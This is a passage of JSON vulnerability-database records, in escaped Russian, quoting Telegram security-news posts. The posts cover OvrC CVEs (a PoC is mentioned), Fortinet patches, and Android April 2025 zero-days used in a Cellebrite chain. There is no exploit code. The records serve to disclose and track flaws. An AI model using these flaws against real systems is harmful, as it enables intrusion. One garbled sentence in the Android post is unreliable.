\u0434\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0438\u0445 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0434\u0430\u0436\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2023-28649\u00a0(CVSS v4: 9,2): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e;\n\n- CVE-2023-31241\u00a0(CVSS v4: 9,2): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043d\u0435\u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043e\u0431\u0445\u043e\u0434\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430;\n\n- CVE-2023-28386\u00a0(CVSS v4: 9,2): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430;\n\n- CVE-2024-50381\u00a0(CVSS v4: 9,1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0435\u0433\u043e.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440\u0430, \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d PoC- \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 OvrC \u043e\u0442 Team82.", "creation_timestamp": "2024-11-14T14:04:06.000000Z"}, {"uuid": "4b7f32a1-bdd9-413b-9bd7-26312c0a2e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50565", "type": "seen", "source": "https://t.me/true_secator/6929", "content": "Fortinet \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 FortiSwitch.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-48887 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,3.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0441\u043c\u0435\u043d\u044b \u043f\u0430\u0440\u043e\u043b\u044f \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f FortiSwitch \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 HTTP/HTTPS \u0438\u0437 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0447\u0438\u0441\u043b\u0430 \u0445\u043e\u0441\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0434\u043e\u043b\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 FortiSwitch 6.4 - 7.6 \u0438 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0432\u0435\u0440\u0441\u0438\u0439 6.4.15, 7.0.11, 7.2.9, 7.4.5 \u0438 7.6.1.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-26013 \u0438 CVE-2024-50565, \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 MitM.\n\n\u041f\u043e \u0444\u0430\u043a\u0442\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 FGFM \u043c\u0435\u0436\u0434\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e (\u0441\u0435\u0440\u0432\u0435\u0440 FortiCloud \u0438\u043b\u0438 FortiManager).\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u043c\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c\u0438 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 FortiOS, FortiProxy, FortiManager, FortiAnalyzer, FortiVoice \u0438 FortiWeb.\n\nFortinet \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438 CVE-2024-54024 - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0432 FortiIsolator, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a CLI \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041f\u043e\u0444\u0438\u043a\u0441\u0438\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u0447\u0435\u0442\u044b\u0440\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0432 FortiIsolator, \u043e\u0448\u0438\u0431\u043a\u0443 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 FortiManager  \u0438 FortiAnalyzer, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u0432\u0438\u0434\u0436\u0435\u0442\u043e\u0432 FortiWeb  \u0438 \u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u0432 FortiWeb.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 FortiOS, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 FortiClient (\u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438\u043c\u0435\u044e\u0442 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438).\n\nFortinet \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0432\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043e\u0441\u043e\u0431\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f - \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 PSIRT\u00a0Fortinet.", "creation_timestamp": "2025-04-09T19:40:44.000000Z"}, {"uuid": "88a406d2-8a48-445e-b3da-9edba5467e77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/true_secator/6921", "content": "Google \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 62 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Android \u0437\u0430 \u0430\u043f\u0440\u0435\u043b\u044c 2025 \u0433\u043e\u0434\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 0-day, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0434\u0438\u043d \u0438\u0437 \u043d\u0443\u043b\u0435\u0439 - \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0440\u0438\u0441\u043a\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 EoP (CVE-2024-53197) \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 USB-audio \u044f\u0434\u0440\u0430 Linux \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 ALSA.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0435\u0440\u0431\u0438\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0437\u044a\u044f\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Android \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0439 \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u043e\u0439 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0438 Cellebrite.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f USB Video Class (CVE-2024-53104), \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435, \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 0-day Human Interface Devices (CVE-2024-50302), \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0432 \u043c\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 EoP (CVE-2024\u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2024 \u0433\u043e\u0434\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0431\u0441\u043a\u043e\u0439 \u043f\u043e\u043b\u0438\u0446\u0438\u0435\u0439.\n\n\u0412 \u044f\u043d\u0432\u0430\u0440\u0435 Google \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f OEM-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u0430\u043c.\u00a0\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 0-day \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-53150 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u044f\u0434\u0440\u0430 Android, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0447\u0442\u0435\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\u00a0\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android \u0437\u0430 \u043c\u0430\u0440\u0442 2025 \u0433\u043e\u0434\u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 60 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 